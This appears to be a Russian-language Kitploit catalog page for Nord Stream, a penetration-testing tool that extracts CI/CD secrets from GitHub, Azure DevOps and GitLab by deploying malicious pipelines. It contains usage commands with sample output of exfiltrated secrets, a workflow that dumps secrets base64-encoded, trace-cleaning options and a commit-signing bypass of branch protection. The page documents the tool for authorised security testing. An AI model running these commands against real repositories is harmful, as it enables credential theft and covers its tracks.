Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
nord-stream — Nord Stream — это инструмент, который позволяет извлекать секреты, хранящиеся в CI/CD-средах, путём развёртывания вредоносных пайплайнов. В настоящее время поддерживаются Azure DevOps, GitHub и GitLab. | Kitploit
Инструменты/GitHubGitHub/synacktiv/nord-stream
ЭксплуатацияИнструменты для выдачи себя за другое лицоЭксфильтрация данныхСбор информацииТестирование на ПроникновениеDevSecOpsОбнаружение СекретовRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream — это инструмент, который позволяет извлекать секреты, хранящиеся в CI/CD-средах, путём развёртывания вредоносных пайплайнов. В настоящее время поддерживаются Azure DevOps, GitHub и GitLab.

37022612 месяцев назадПроверено Kitploit
Репозиторий
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Nord Stream

Nord Stream — это инструмент, который позволяет извлекать секреты, хранящиеся в CI/CD-окружениях, путём развёртывания вредоносных пайплайнов.

В настоящее время поддерживаются Azure DevOps, GitHub и GitLab.

Подробнее в следующем посте в блоге: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

Оглавление

  • Nord Stream
    • Оглавление
    • Установка
    • Использование
      • Общие аргументы
        • Описание токена
        • Сборка YAML
        • YAML
        • Очистка логов
        • Подпись коммитов
      • Azure DevOps
        • Сервисные подключения
          • SSH
        • Список организаций
        • Справка
      • GitHub
        • Список защит
        • Отключение защит
        • Принудительно
        • Azure OIDC
        • AWS OIDC
        • Справка
      • GitLab
        • Список секретов
        • YAML
        • Список защит
        • Справка
    • TODO
    • Контакты

Установка```

$ pipx install git+https://github.com/synacktiv/nord-stream

Также требуется `git` (см. https://git-scm.com/download/), и он должен находиться в вашем `PATH`.

## Использование

Вот простой пример на GitHub; изначально можно перечислить различные секреты.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
        - REPO_SECRET
        - SUPER_SECRET
[*] PROD secrets:
        - PROD_SECRET

Затем переходите к эксфильтрации:```sh $ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

### Общие аргументы

Некоторые аргументы являются общими для [GitHub](#github), [Azure DevOps](#azure-devops) и [GitLab](#gitlab); вот несколько примеров.

#### Описание токена

Опция `--describe-token` может использоваться для отображения общей информации о вашем токене:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
        - Login: CICD
        - IsAdmin: False
        - Id: 1337
        - Bio: None

Сборка YAML

Параметр --build-yaml можно использовать для создания файла конвейера без его развертывания. Он получает различные имена секретов для сборки соответствующего конвейера, который можно использовать для добавления пользовательских шагов:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

#### YAML

Опция `--yaml` может использоваться для развертывания пользовательского конвейера:```yml
name: GitHub Actions
'on': push
jobs:
  init:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Hello from step 1"
      name: step 1
    - run: echo "Doing some important stuff here"
      name: command
    - run: echo "Hello from last step "
      name: last step

[Загрузите] файл вместо отправки необработанных текстовых данных в POST-запросе.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

[] Cleaning logs. [] Check output: .../nord-stream-logs/github

По умолчанию отображается вывод задачи `command` из задания `init`, но всё хранится локально, и к нему можно получить доступ вручную:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step

Чистка логов

По умолчанию Nord Stream пытается удалить следы, оставшиеся после развёртывания конвейера, в зависимости от ваших привилегий. Чтобы сохранить следы, можно использовать опцию --no-clean. Это сохранит логи конвейера, но изменения, внесённые в репозиторий, всё равно будут откачены. Обратите внимание, что для GitLab некоторые следы удалить невозможно.

Подпись коммитов

Администраторы репозитория могут включить обязательную подпись коммитов для ветки, чтобы блокировать все коммиты, которые не подписаны и не проверены. С помощью Nord Stream можно подписать коммит, чтобы обойти такую защиту.

Сначала создайте и импортируйте свой GPG-ключ на платформе SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

### Паттерны файлов токенов```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET

ВВОД:```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

### Azure DevOps

Nord Stream может извлекать следующие типы секретов:
- Группы переменных (vg)
- Защищённые файлы (sf)
- Подключения служб

#### Подключения служб

Azure DevOps предоставляет возможность создавать подключения к внешним и удалённым службам для выполнения задач в задании. Для этого используются подключения служб. Подключение службы хранит учётные данные для идентификации в удалённой службе. В Azure DevOps существует несколько типов подключений служб.

Nord Stream в настоящее время поддерживает извлечение секретов для следующих типов подключений служб:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
Скачать инструмент